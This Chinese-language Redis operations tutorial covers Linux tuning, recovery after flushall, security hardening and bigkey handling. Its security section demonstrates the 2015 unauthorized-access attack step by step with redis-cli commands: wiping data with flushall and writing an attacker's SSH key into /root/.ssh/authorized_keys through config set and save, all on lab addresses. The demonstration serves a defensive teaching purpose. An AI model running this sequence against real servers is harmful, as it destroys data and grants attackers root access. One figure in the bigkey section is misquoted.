Redis13-开发和运维的“陷阱”

  • 在Redis的开发和运维过程中,由于对于Redis的某些特性没有真正合理地使用,会遇到一些棘手的问题,主要内容包括:
    • Linux配置优化要点。
    • flushall/flushdb误操作快速恢复方法。
    • 安全的Redis如何设计。
    • 处理bigkey的方案与最佳实践。
    • 寻找热点key。

1、Linux配置优化

  • 通常来看,Redis开发和运维人员更加关注的是Redis本身的一些配置优化,例如AOF和RDB的配置优化、数据结构的配置优化等,但是对于操作系统是否需要针对Redis做一些配置优化不甚了解或者不太关心。然而事实证明一个良好的系统操作配置能够为Redis服务良好运行保驾护航。

1.1、内存分配控制

1、vm.overcommit_memory

  • Redis在启动时可能会出现这样的日志:
    • WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
  • 什么是overcommit?
    • Linux操作系统对大部分申请内存的请求都回复yes,以便能运行更多的程序。因为申请内存后,并不会马上使用内存,这种技术叫做overcommit。
    • vm.overcommit_memory用来设置内存分配策略,有三个可选值,如表12-1所示。
      • 可用内存代表物理内存与swap之和

  • 如果Redis在启动时有上面的日志,说明vm.overcommit_memory=0,Redis提示把它设置为1。
  • 日志中的Background save代表的是bgsave和bgrewriteaof,如果当前可用内存不足,操作系统应该如何处理fork操作。
    • 如果vm.overcommit_memory=0,代表如果没有可用内存,就申请内存失败,对应到Redis就是执行fork失败,在Redis的日志会出现:
      • Cannot allocate memory
    • Redis建议把这个值设置为1,是为了让fork操作能够在低内存下也执行成功。

2、获取和设置

//获取
]# cat /proc/sys/vm/overcommit_memory
0

//设置(临时有效)
]# sysctl vm.overcommit_memory=1
//设置(重启后,永久生效)
]# echo "vm.overcommit_memory=1" >> /etc/sysctl.conf

3、最佳实践

  • Redis设置合理的maxmemory,保证机器有20%~30%的闲置内存。
  • 集中化管理AOF重写和RDB的bgsave。
  • 设置vm.overcommit_memory=1,防止极端情况下会造成fork失败。

1.2、swappiness

1、参数说明

  • swap对于操作系统来比较重要,当物理内存不足时,可以将一部分内存页进行swap操作,已解燃眉之急。但世界上没有免费午餐,swap空间由硬盘提供,对于需要高并发、高吞吐的应用来说,磁盘IO通常会成为系统瓶颈。
  • 在Linux中,并不是要等到所有物理内存都使用完才会使用到swap,系统参数swppiness会决定操作系统使用swap的倾向程度。swappiness的取值范围是0~100,swappiness的值越大,说明操作系统可能使用swap的概率越高,swappiness值越低,表示操作系统更加倾向于使用物理内存。swap的默认值是60。表12-2对swappiness的重要值进行了说明。

  • 运维提示
    • OOM(Out Of Memory)killer机制是指Linux操作系统发现可用内存不足时,强制杀死一些用户进程(非内核进程),来保证系统有足够的可用内存进行分配。

2、设置方法

//查看
]# cat /proc/sys/vm/swappiness
30

//设置(临时有效)
echo {bestvalue} > /proc/sys/vm/swappiness
//设置(重启后,永久生效)
echo vm.swappiness={bestvalue} >> /etc/sysctl.conf

3、如何监控swap

(1)查看swap的总体情况

  • Linux提供了free命令来查询操作系统的内存使用情况,其中也包含了swap的相关使用情况。
//swap一共有2047MB,使用了0MB,空闲2047MB。
]# free -m
              total        used        free      shared  buff/cache   available
Mem:            972         216          76          13         679         583
Swap:          2047           0        2047

(2)实时查看swap的使用

  • Linux提供了vmstat命令查询系统的相关性能指标,其中包含负载、CPU、内存、swap、IO的相关属性。其中和swap有关的指标是si和so,它们分别代表操作系统的swap in和swap out。
//执行vmstat1(每隔一秒输出)的效果,可以看到si和so都为0,代表当前没有使用swap。
]# vmstat 1
procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu-----
 r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
 2  0    520  78112      0 695968    0    0    36    38   62  116  0  0 99  0  0
 0  0    520  78080      0 696000    0    0     0     0   77  119  0  0 100  0  0
 0  0    520  78080      0 696000    0    0     0     0   77  122  0  0 100  0  0

(3)查看指定进程的swap使用情况

  • Linux操作系统中,/proc/{pid}目录是存储指定进程的相关信息,其中/proc/{pid}/smaps记录了当前进程所对应的内存映像信息,这个信息对于查询指定进程的swap使用情况很有帮助。
//获取Redis的进程号
]# ps -ef | grep redis
root      55149      1  0 13:08 ?        00:00:21 /apps/redis-5.0.14/bin/redis-server *:7000 [cluster]

//通过cat /proc/55149/smaps查询Redis的smaps信息,由于有多个内存块信息,这里只输出一个内存块镜像信息进行观察:
]# cat /proc/55149/smaps
00400000-00511000 r-xp 00000000 fd:00 535988                             /apps/redis-5.0.14/bin/redis-server
Size:               1092 kB
Rss:                 452 kB
Pss:                 452 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:       452 kB
Private_Dirty:         0 kB
Referenced:          452 kB
Anonymous:             0 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Locked:                0 kB
VmFlags: rd ex mr mp me dw sd
  • 其中Swap字段代表该内存块存在swap分区的数据大小。
  • 通过执行如下命令,就可以找到每个内存块镜像信息中,这个进程使用到的swap量,通过求和就可以算出总的swap用量:
]# cat /proc/55149/smaps | grep 'Swap'
Swap:                  0 kB
Swap:                  0 kB
Swap:                  0 kB
...
  • 如果Linux>3.5,vm.swapniess=1,否则vm.swapniess=0,从而实现如下两个目标:
    • 物理内存充足时候,使Redis足够快。
    • 物理内存不足时候,避免Redis死掉(如果当前Redis为高可用,死掉比阻塞更好)。

1.3、THP

  • Redis在启动时可能会看到如下日志:
    • WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo madvise > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled (set to 'madvise' or 'never').
  • Linux kernel在2.6.38内核增加了THP(Transparent Huge Pages)特性,支持大内存页(2MB)分配,默认开启
    • 当开启时可以降低fork子进程的速度,但fork操作之后,每个内存页从原来4KB变为2MB,会大幅增加重写期间父进程内存消耗。同时每次写命令引起的复制内存页单位放大了512倍,会拖慢写操作的执行时间,导致大量写操作慢查询,例如简单的incr命令也会出现在慢查询中。
  • Redis日志中建议禁用此特性,禁用方法如下:
//查看
]# cat /sys/kernel/mm/transparent_hugepage/enabled
[always] madvise never

//设置(临时有效)
echo never > /sys/kernel/mm/transparent_hugepage/enabled
//设置(重启后,永久生效)
echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' >/etc/rc.local
  • 在设置THP配置时需要注意:有些Linux的发行版本没有将THP放到/sys/kernel/mm/transparent_hugepage/enabled中,例如Red Hat6以上的THP配置放到/sys/kernel/mm/redhat_transparent_hugepage/enabled中。
//Redis源码中检查THP时,把THP位置写死
FILE *fp = fopen("/sys/kernel/mm/transparent_hugepage/enabled","r");
if (!fp) return 0;

//所以在发行版中,虽然没有THP的日志提示,但是依然存在THP所带来的问题
echo never > /sys/kernel/mm/redhat_transparent_hugepage/enabled

1.4、OOM killer

  • OOM killer会在可用内存不足时选择性地杀掉用户进程,它的运行规则是怎样的,会选择哪些用户进程“下手”呢?
    • OOM killer进程会为每个用户进程设置一个权值,这个权值越高,被“下手”的概率就越高,反之概率越低。
    • 每个进程的权值存放在/proc/{progress_id}/oom_score中,这个值是受/proc/{progress_id}/oom_adj的控制,oom_adj在不同的Linux版本中最小值不同,可以参考Linux源码中oom.h(从-15到-17)。
    • 当oom_adj设置为最小值时,该进程将不会被OOM killer杀掉。
  • 设置方法如下:
echo {value} > /proc/${process_id}/oom_adj
  • 对于Redis所在的服务器来说,可以将所有Redis的oom_adj设置为最低值或者稍小的值,降低被OOM killer杀掉的概率:
for redis_pid in $(pgrep -f "redis-server");do
    echo -17 > /proc/${redis_pid}/oom_adj
done
  • 运维提示
    • 有关OOM killer的详细细节,可以参考Linux源码mm/oom_kill.c中oom_badness函数。
    • 笔者认为oom_adj参数只能起到辅助作用,合理地规划内存更为重要。
    • 通常在高可用情况下,被杀掉比僵死更好,因此不要过多依赖oom_adj配置

1.5、使用NTP

  • NTP(Network Time Protocol,网络时间协议)是一种保证不同机器时钟一致性的服务。
  • Redis Sentinel和Redis Cluster需要多个Redis节点的类型,可能会涉及多台服务器。虽然Redis并没有对多个服务器的时钟有严格要求,但是假如多个Redis实例所在的服务器时钟不一致,对于一些异常情况的日志排查是非常困难的,例如Redis Cluster的故障转移,如果日志时间不一致,对于我们排查问题带来很大的困扰(注:但不会影响集群功能,集群节点依赖各自时钟)。一般公司里都会有NTP服务用来提供标准时间服务,从而达到纠正时钟的效果(如图12-1所示),为此我们可以每天定时去同步一次系统时间,从而使得集群中的时间保持统一。

  • 例如每小时的同步1次NTP服务:
0 * * * * /usr/sbin/ntpdate ntp.xx.com > /dev/null 2>&1

1.6、ulimit

  • 在Linux中,可以通过ulimit查看和设置系统当前用户进程的资源数。
  • ulimit -a命令包含的open files参数,是单个用户同时打开的最大文件个数。
]# ulimit -a
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
...

Redis允许同时有多个客户端通过网络进行连接,可以通过配置maxclients来限制最大客户端连接数。对Linux操作系统来说,这些网络连接

  • 都是文件句柄。假设当前open files是4096,那么启动Redis时会看到如下日志:
    • 第一行:Redis建议把open files至少设置成10032,那么这个10032是如何来的呢?因为maxclients默认是10000,这些是用来处理客户端连接的,除此之外,Redis内部会使用最多32个文件描述符,所以这里的10032=10000+32。
    • 第二行:Redis不能将open files设置成10032,因为它没有权限设置。
    • 第三行:当前系统的open files是4096,所以将maxclients设置成4096-32=4064个,如果你想设置更高的maxclients,请使用ulimit -n来设置。
# You requested maxclients of 10000 requiring at least 10032 max file descriptors.
# Redis can’t set maximum open files to 10032 because of OS error: Operation not permitted.
# Current maximum open files is 4096. Maxclients has been reduced to 4064 to compensate for low ulimit. If you need higher maxclients increase ‘ulimit –n’.
  • 从上面的三行日志分析可以看出open files的限制优先级比maxclients大。
  • Open files的设置方法如下:
ulimit –Sn {max-open-files}

1.7、TCP backlog

  • Redis默认的tcp-backlog值为511,可以通过修改配置tcp-backlog进行调整,如果Linux的tcp-backlog小于Redis设置的tcp-backlog,那么在Redis启动时会看到如下日志:
    • WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
//查看
]# cat /proc/sys/net/core/somaxconn
128

//修改
]# echo 511 > /proc/sys/net/core/somaxconn

2、flushall/flushdb误操作

  • Redis的flushall/flushdb命令可以做数据清除,对于Redis的开发和运维人员有一定帮助,然而一旦误操作,它的破坏性也是很明显的。怎么才能快速恢复数据,让损失达到最小呢?本节我们将结合之前学习的Redis相关知识进行分析,最后给出一个合理的方案。
  • 注意
    • 为了方便说明,下文中除了AOF文件中的flushall/flushdb以外,其他所有的flushall/flushdb都用flush代替
  • 假设进行flush操作的Redis是一对主从结构的主节点,其中键值对的个数是100万,每秒写入量是1000。

2.1、缓存与存储

  • 被误操作flush后,根据当前Redis是缓存还是存储使用策略有所不同:
    • 缓存:对于业务数据的正确性可能造成损失还小一点,因为缓存中的数据可以从数据源重新进行构建。如果业务方并发量很大,可能会对后端数据源造成一定的负载压力,这个问题也是不容忽视。
    • 存储:对业务方可能会造成巨大的影响,也许flush操作后的数据是重要配置,也可能是一些基础数据,也可能是业务上的重要一环,如果没有提前做业务降级操作,那么最终反馈到用户的应用可能就是报错或者空白页面等,其后果不堪设想。即使做了相应的降级或者容错处理,对于用户体验也有一定的影响。
  • 所以Redis无论作为缓存还是作为存储,如何能在flush操作后快速恢复数据才是至关重要的。持久化文件肯定是恢复数据的媒介,下面两个小节将对AOF和RDB文件进行分析。

2.2、借助AOF机制恢复

  • Redis执行了flush操作后,AOF持久化文件会受到什么影响呢?如下所示:
    • appendonly no:对AOF持久化没有任何影响,因为根本就不存在AOF文件。
    • appendonly yes:只不过是在AOF文件中追加了一条记录,例如下面就是AOF文件中的flush操作记录:
*1
$8
flushall
  • 虽然Redis中的数据被清除掉了,但是AOF文件还保存着flush操作之前完整的数据,这对恢复数据是很有帮助的。注意问题如下:
    • (1)如果发生了AOF重写,Redis遍历所有数据库重新生成AOF文件,并会覆盖之前的AOF文件。所以如果AOF重写发生了,也就意味着之前的数据就丢掉了,那么利用AOF文件来恢复的办法就失效了。所以当误操作后,需要考虑如下两件事。
      • 调大AOF重写参数auto-aof-rewrite-percentage和auto-aof-rewrite-minsize,让Redis不能产生AOF自动重写。
      • 拒绝手动bgrewriteaof。
    • (2)如果要用AOF文件进行数据恢复,那么必须要将AOF文件中的flushall相关操作去掉,为了更加安全,可以在去掉之后使用redis-check-aof这个工具去检验和修复一下AOF文件,确保AOF文件格式正确,保证数据恢复正常。

2.3、RDB有什么变化

  • Redis执行了flushall操作后,RDB持久化文件会受到什么影响呢?
    • (1)如果没有开启RDB的自动策略,也就是配置文件中没有类似如下配置。
      • 那么除非手动执行过save、bgsave或者发生了主从的全量复制,否则RDB文件也会保存flush操作之前的数据,可以作为恢复数据的数据源。
      • 注意问题如下:
        • 防止手动执行save、bgsave,如果此时执行save、bgsave,新的RDB文件就不会包含flush操作之前的数据,被老的RDB文件进行覆盖。
        • RDB文件中的数据可能没有AOF实时性高,也就是说,RDB文件很可能很久以前主从全量复制生成的,或者之前用save、bgsave备份的。
save 900 1
save 300 10
save 60 10000
    • (2)如果开启了RDB的自动策略,由于flush涉及键值数量较多,RDB文件会被清除,意味着使用RDB恢复基本无望。
  • 综上所述,如果AOF已经开启了,那么用AOF来恢复是比较合理的方式,但是如果AOF关闭了,那么RDB虽然数据不是很实时,但是也能恢复部分数据,完全取决于RDB是什么时候备份的。当然RDB并不是一无是处,它的恢复速度要比AOF快很多,但是总体来说对于flush操作之后不是最好的恢复数据源。

2.4、从节点有什么变化

  • Redis从节点同步了主节点的flush命令,所以从节点的数据也是被清除了,从节点的RDB和AOF的变化与主节点没有任何区别。

2.5、快速恢复数据

  • 下面使用AOF作为数据源进行恢复演练。
    • (1)防止AOF重写。快速修改Redis主从的auto-aof-rewrite-percentage和auto-aof-rewrite-min-size变为一个很大的值,从而防止了AOF重写的发生。
config set auto-aof-rewrite-percentage 1000
config set auto-aof-rewrite-min-size 100000000000
    • (2)去掉主从AOF文件中的flush相关内容
*1
$8
flushall
    • (3)重启Redis主节点服务器,恢复数据
  • 建议运维人员提前准备shell脚本或者其他自动化的方式处理,因为故障不等人,对于flush这样的危险操作,应该通过有效的方式进行规避。

3、安全的Redis

  • 2015年11月,全球数万个Redis节点遭受到了攻击,所有数据都被清除了,只有一个叫crackit的键存在,这个键的值很像一个公钥,如下所示。
127.0.0.1:6379> get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHPSqW+n8WqsbS+xNpvvcgeNT
    /fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgzrzYflP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY
    +MB2kxVZ838z4U0ZamlPEgzy+zA+oF0JLTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj
    3VD0xGDl1kTNAzdj+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q== root@zw_xx_
    192\n\n\n\n"
  • 数据丢失对于很多Redis的开发者来说是致命的,经过相关机构的调查发现,被攻击的Redis有如下特点:
    • Redis所在的机器有外网IP。
    • Redis以默认端口6379为启动端口,并且是对外网开放的。
    • Redis是以root用户启动的。
    • Redis没有设置密码。
    • Redis的bind设置为0.0.0.0或者""。
  • 攻击者充分利用Redis的dir和dbfilename两个配置可以使用config set动态设置,以及RDB持久化的特性,将自己的公钥写入到目标机器的/root/.ssh/authotrized_keys文件中,从而实现了对目标机器的攻陷。攻击过程如图12-2所示。

  • 机器A是攻击者的机器(内网IP:10.10.1.12),机器B是被攻击者机器(使用10.1.1.11模拟外网IP),上面部署着一个满足上述五个特性的Redis,下面我们来模拟整个攻击过程。
    • (1)首先确认当前(攻击前)机器A不能通过SSH访问机器B,因为没有权限。
]# ssh root@10.1.1.11
root@10.1.1.11's password: 
    • (2)由于机器B的外网对外开通了Redis的6379端口,所以可以直接连接到Redis上执行flushall操作,注意此时破坏性就已经很大了。
]# /apps/redis/bin/redis-cli -h 10.1.1.11 -p 6379 ping
PONG
]# /apps/redis/bin/redis-cli -h 10.1.1.11 -p 6379 flushall
OK
    • (3)在机器A生成公钥,并将公钥保存到一个文件my.pub中
]# ssh-keygen -t rsa
]# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > my.pub

]# cat my.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOmas+gSBPYqzIW1hIbYvo9CpOl5CeurBoXF+tm4G+5hSd6LcRf1CmFrwhvuJ4P6MWNlS6Bzm5/S33rMQamvr1j+KDItSLPzIV8JNY4sdBN95SqoW2M5jotUCQy4KpxiBVEmgysRLr8LTKqvR5jbwqYE1yBOvFwELGY4/+hJ5InhbdN1qMaIC4hZvQ0vnKhQcLGfNZDNaU6nNc1pI474W2xdiV2bBIRwjjGMn8dP6oNL4XP5iIYRAqQEJNNW4+QAGe/PCoYKU80/WKWMq6tsNM9pU1+MClK/dSGgLvkcV3+MP7BhyeB11Zi4sdGNQMjh10AjGJ/3F3NX8ssHI+Evyf root@12
    • (4)将键crackit的值设置为公钥
]# cat my.pub | /apps/redis/bin/redis-cli -h 10.1.1.11 -p 6379 -x set crackit
OK

]# cat my.pub | /apps/redis/bin/redis-cli -h 10.1.1.11 -p 6379 get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOmas+gSBPYqzIW1hIbYvo9CpOl5CeurBoXF+tm4G+5hSd6LcRf1CmFrwhvuJ4P6MWNlS6Bzm5/S33rMQamvr1j+KDItSLPzIV8JNY4sdBN95SqoW2M5jotUCQy4KpxiBVEmgysRLr8LTKqvR5jbwqYE1yBOvFwELGY4/+hJ5InhbdN1qMaIC4hZvQ0vnKhQcLGfNZDNaU6nNc1pI474W2xdiV2bBIRwjjGMn8dP6oNL4XP5iIYRAqQEJNNW4+QAGe/PCoYKU80/WKWMq6tsNM9pU1+MClK/dSGgLvkcV3+MP7BhyeB11Zi4sdGNQMjh10AjGJ/3F3NX8ssHI+Evyf root@12\n\n\n\n"
    • (5)将Redis的dir设置为/root/.ssh目录,dbfilename设置为authorized_keys,执行save命令生成RDB文件。此时机器B的/root/.ssh/authorized_keys包含了攻击者的公钥,之后攻击者就可以“为所欲为”了。
//redis机器上必须有/root/.ssh/目录
]# /apps/redis/bin/redis-cli -h 10.1.1.11 -p 6379 config set dir /root/.ssh
OK
]# /apps/redis/bin/redis-cli -h 10.1.1.11 -p 6379 config set dbfilename authorized_keys
OK
]# /apps/redis/bin/redis-cli -h 10.1.1.11 -p 6379 save
OK
    • (6)此时机器A再通过SSH协议访问机器B,发现可以顺利登录
]# ssh root@10.1.1.11
Last login: Thu Sep  1 10:19:09 2022 from 10.1.1.1
    • 登录后可以观察/root/.ssh/authorized_keys,可以发现它就是RDB文件
  • Redis的设计目标是一个在内网运行的轻量级高性能键值服务,因为是在内网运行,所以对于安全方面没有做太多的工作,Redis只提供了简单的密码机制,并且没有做用户权限的相关划分。
  • 那么,在日常对于Redis的开发和运维中要注意哪些方面才能让Redis服务不仅能提供高效稳定的服务,还能保证在一个足够安全的网络环境下运行呢?下面将从7个方面进行介绍。

3.1、Redis密码机制

1、简单的密码机制

  • Redis提供了requirepass配置为Redis提供密码功能,如果添加这个配置,客户端就不能通过redis-cli –h {ip} –p {port}来执行命令。
  • Redis提供了两种方式访问配置了密码的Redis:
    • redis-cli -a参数。使用redis-cli连接Redis时,添加-a加密码的参数,如果密码正确就可以正常访问Redis了。
    • auth命令。通过redis-cli连接后,执行auth加密码命令,如果密码正确就可以正常访问访问Redis了。
//设置密码
]# /apps/redis/bin/redis-cli -h 10.1.1.11 -p 6379 config set requirepass hengha123
OK

//访问配置了密码的Redis,方法一
]# /apps/redis/bin/redis-cli -h 10.1.1.11 -p 6379 -a hengha123 ping
PONG
//访问配置了密码的Redis,方法二
]# /apps/redis/bin/redis-cli -h 10.1.1.11 -p 6379
10.1.1.11:6379> auth hengha123
OK
10.1.1.11:6379> ping
PONG

2、运维建议

  • 这种密码机制能在一定程度上保护Redis的安全,但是在使用requirepass时候要注意一下几点:
    • 密码要足够复杂(64个字节以上),因为Redis的性能很高,如果密码比较简单,完全是可以在一段时间内通过暴力破解来破译密码。
    • 如果是主从结构的Redis,不要忘记在从节点的配置中加入masterauth(master的密码)配置,否则会造成主从节点同步失效。
    • auth是通过明文进行传输的,所以也不是100%可靠,如果被攻击者劫持也相当危险。

3.2、伪装危险命令

1、引入rename-command

  • Redis中包含了很多“危险”的命令,一旦错误使用或者误操作,后果不堪设想,例如如下命令:
    • keys:如果键值较多,存在阻塞Redis的可能性。
    • flushall/flushdb:数据全部被清除。
    • save:如果键值较多,存在阻塞Redis的可能性。
    • debug:例如debug reload会重启Redis。
    • config:config应该交给管理员使用。
    • shutdown:停止Redis。
  • 理论上这些命令不应该给普通开发人员使用,那有没有什么好的方法能够防止这些危险的命令被随意执行呢?Redis提供了rename-command配置解决这个问题。
//当前Redis包含10000个键值对,现使用flushall将全部数据清除:
10.1.1.11:6379> flushall
OK

//Redis配置文件中添加,重启redis
rename-command flushall jlikfjalijl3i4jl3jql34j
  • 那么再执行flushall命令的话,会收到Redis不认识flushall的错误提示,说明我们成功地用rename-command对flushall命令做了伪装。而如果执行jlikfjalijl3i4jl3jql34(随机字符串),那么就可以实现flushall的功能了,这就是rename-command的作用,管理员可以对认为比较危险的命令做rename-command处理。
10.1.1.11:6379> flushall
(error) ERR unknown command `flushall`, with args beginning with: 
10.1.1.11:6379> jlikfjalijl3i4jl3jql34j
OK

2、没有免费的午餐

  • rename-command虽然对Redis的安全有一定帮助,但是天下并没有免费的午餐。使用了rename-command时可能会带来如下麻烦:
    • 管理员要对自己的客户端进行修改,例如jedis.flushall()操作内部使用的是flushall命令,如果用rename-command后需要修改为新的命令,有一定的开发和维护成本。
    • rename-command配置不支持config set,所以在启动前一定要确定哪些命令需要使用rename-command。
    • 如果AOF和RDB文件包含了rename-command之前的命令,Redis将无法启动,因为此时它识别不了rename-command之前的命令。
    • Redis源码中有一些命令是写死的,rename-command可能造成Redis无法正常工作。例如Sentinel节点在修改配置时直接使用了config命令,如果对config使用rename-command,会造成Redis Sentinel无法正常工作。

3、最佳实践

  • 在使用rename-command的相关配置时,需要注意以下几点:
    • 对于一些危险的命令(例如flushall),不管是内网还是外网,一律使用rename-command进行配置。建议第一次配置Redis时,就应该配置rename-command,因为renamecommand不支持config set
    • 如果涉及主从关系,一定要保持主从节点配置的一致性,否则存在主从数据不一致的可能性。

3.3、防火墙

  • 可以使用防火墙限制输入和输出的IP或者IP范围、端口或者端口范围,在比较成熟的公司都会对有外网IP的服务器做一些端口的限制,例如只允许80端口对外开放。因为一般来说,开放外网IP的服务器中Web服务器比较多,但通常存储服务器的端口无需对外开放,防火墙是一个限制外网访问Redis的必杀技

3.4、bind

1、对于bind的错误认识

  • 很多开发者在一开始看到bind的这个配置时都是这么认为的:指定Redis只接收来自于某个网段IP的客户端请求。
  • 但事实上bind指的是Redis和哪个网卡进行绑定,和客户端是什么网段没有关系。
  • 例如使用ifconfig命令获取当前网卡信息,包含了两个IP地址:
    • 内网地址:10.1.1.11
    • 回环地址:127.0.0.1
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.1.1.11  netmask 255.255.255.0  broadcast 10.1.1.255
...

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
...
  • 如果当前Redis配置了10.1.1.11,那么Redis访问只能通过10.1.1.11这块网卡进入,通过redis-cli –h 127.0.0.1 –p6379无法连接到Redis。
  • 运维提示
    • Redis3.0中bind默认值为””,也就是不限制网卡的访问,但是在Redis3.2中必须显示的配置bind 0.0.0.0才可以达到这种效果。

2、建议

  • 经过上面的实验以及对于bind的认识,可以得出如下结论:
    • 如果机器有外网IP,但部署的Redis是给内部使用的,建议去掉外网网卡或者使用bind配置限制流量从外网进入。
    • 如果客户端和Redis部署在一台服务器上,可以使用回环地址(127.0.0.1)。
    • bind配置不支持config set,所以尽可能在第一次启动前配置好。Redis3.2提供了protected-mode配置(默认开启),它的含义可以用如下伪代码解释。
//如果当前Redis没有配置密码,没有配置bind,那么只允许来自本机的访问,也就是相当于配置了bind 127.0.0.1。
if (protected-mode && !requirepass && !bind) {
    Allow only 127.0.0.1,::1 or socket connections
    Deny (with the long message ever!) others
}

3.5、定期备份数据

  • 天有不测风云,假如有一天Redis真的被攻击了(清理了数据,关闭了进程),那么定期备份的数据能够在一定程度挽回一些损失,定期备份持久化数据是一个比较好的习惯。

3.6、不使用默认端口

  • Redis的默认端口是6379,不使用默认端口从一定程度上可降低被入侵者发现的可能性,因为入侵者通常本身也是一些攻击程序,对目标服务器进行端口扫描,例如MySQL的默认端口3306、Memcache的默认端口11211、Jetty的默认端口8080等都会被设置成攻击目标,Redis作为一款较为知名的NoSQL服务,6379必然也在端口扫描的列表中,虽然不设置默认端口还是有可能被攻击者入侵,但是能够在一定程度上降低被攻击的概率。

3.7、使用非root用户启动

  • root用户作为管理员,权限非常大。如果被入侵者获取root权限后,就可以在这台机器以及相关机器上“为所欲为”了。
  • 笔者建议在启动Redis服务的时候使用非root用户启动。事实上许多服务,例如Resin、Jetty、HBase、Hadoop都建议使用非root启动。

4、处理bigkey

  • bigkey是指key对应的value所占的内存空间比较大,例如一个字符串类型的value可以最大存到512MB,一个列表类型的value最多可以存储2^32-1个元素。如果按照数据结构来细分的话,一般分为字符串类型bigkey和非字符串类型bigkey。
    • 字符串类型:体现在单个value值很大,一般认为超过10KB就是bigkey,但这个值和具体的OPS相关。
    • 非字符串类型:哈希、列表、集合、有序集合,体现在元素个数过多。
  • bigkey无论是空间复杂度和时间复杂度都不太友好,下面我们将介绍它的危害。
  • 注意
    • 因为非字符串数据结构中,每个元素实际上也是一个字符串,但这里只讨论元素个数过多的情况。

4.1、bigkey的危害

  • bigkey的危害体现在三个方面:
    • 内存空间不均匀(平衡):例如在Redis Cluster中,bigkey会造成节点的内存空间使用不均匀。
    • 超时阻塞:由于Redis单线程的特性,操作bigkey比较耗时,也就意味着阻塞Redis可能性增大。
    • 网络拥塞:每次获取bigkey产生的网络流量较大,假设一个bigkey为1MB,每秒访问量为1000,那么每秒产生1000MB的流量,对于普通的千兆网卡(按照字节算是128MB/s)的服务器来说简直是灭顶之灾,而且一般服务器会采用单机多实例的方式来部署,也就是说一个bigkey可能会对其他实例造成影响,其后果不堪设想。图12-3演示了网络带宽被bigkey占用的瞬间。

  • bigkey的存在并不是完全致命的,如果这个bigkey存在但是几乎不被访问,那么只有内存空间不均匀的问题存在,相对于另外两个问题没有那么重要紧急,但是如果bigkey是一个热点key(频繁访问),那么其带来的危害不可想象,所以在实际开发和运维时一定要密切关注bigkey的存在。

4.2、如何发现

  • redis-cli --bigkeys可以命令统计bigkey的分布,但是在生产环境中,开发和运维人员更希望自己可以定义bigkey的大小,而且更希望找到真正的bigkey都有哪些,这样才可以去定位、解决、优化问题。
  • 判断一个key是否为bigkey,只需要执行debug object key查看serializedlength属性即可,它表示key对应的value序列化之后的字节数。
10.1.1.11:6379> debug object hh1
Value at:0x7fc06c1b1430 refcount:1 encoding:raw serializedlength:1256350 lru:11686193 lru_seconds_idle:20
  • 可以发现serializedlength=11686193字节,约为1M,同时可以看到encoding是raw,也就是字符串类型,那么可以通过strlen来看一下字符串的字节数为2247394字节,约为2MB:
10.1.1.11:6379> strlen hh1
(integer) 2247394
  • serializedlength不代表真实的字节大小,它返回对象使用RDB编码序列化后的长度,值会偏小,但是对于排查bigkey有一定辅助作用,因为不是每种数据结构都有类似strlen这样的方法。
  • 在实际生产环境中发现bigkey的两种方式如下:
    • 被动收集:许多开发人员确实可能对bigkey不了解或重视程度不够,但是这种bigkey一旦大量访问,很可能就会带来命令慢查询和网卡跑满问题,开发人员通过对异常的分析通常能找到异常原因可能是bigkey,这种方式虽然不是被笔者推荐的,但是在实际生产环境中却大量存在,建议修改Redis客户端,当抛出异常时打印出所操作的key,方便排查bigkey问题。
    • 主动检测scan+debug object,如果怀疑存在bigkey,可以使用scan命令渐进的扫描出所有的key,分别计算每个key的serializedlength,找到对应bigkey进行相应的处理和报警,这种方式是比较推荐的方式。
  • 开发提示
    • 如果键值个数比较多,scan+debug object会比较慢,可以利用Pipeline机制完成。
    • 对于元素个数较多的数据结构,debug object执行速度比较慢,存在阻塞Redis的可能。
    • 如果有从节点,可以考虑在从节点上执行。

4.3、如何删除

  • 当发现Redis中有bigkey并且确认要删除时,如何优雅地删除bigkey?无论是什么数据结构,del命令都将其删除。但是相信通过上面的分析后你一定不会这么做,因为删除bigkey通常来说会阻塞Redis服务。下面给出一组测试数据分别对string、hash、list、set、sorted set五种数据结构的bigkey进行删除,bigkey的元素个数和每个元素的大小不尽相同。
  • 注意
    • 下面测试和服务器硬件、Redis版本比较相关,可能在不同的服务器上执行速度不太相同,但是能提供一定的参考价值。
  • 表12-3展示了删除512KB~10MB的字符串类型数据所花费的时间,总体来说由于字符串类型结构相对简单,删除速度比较快,但是随着value值的不断增大,删除速度也逐渐变慢。

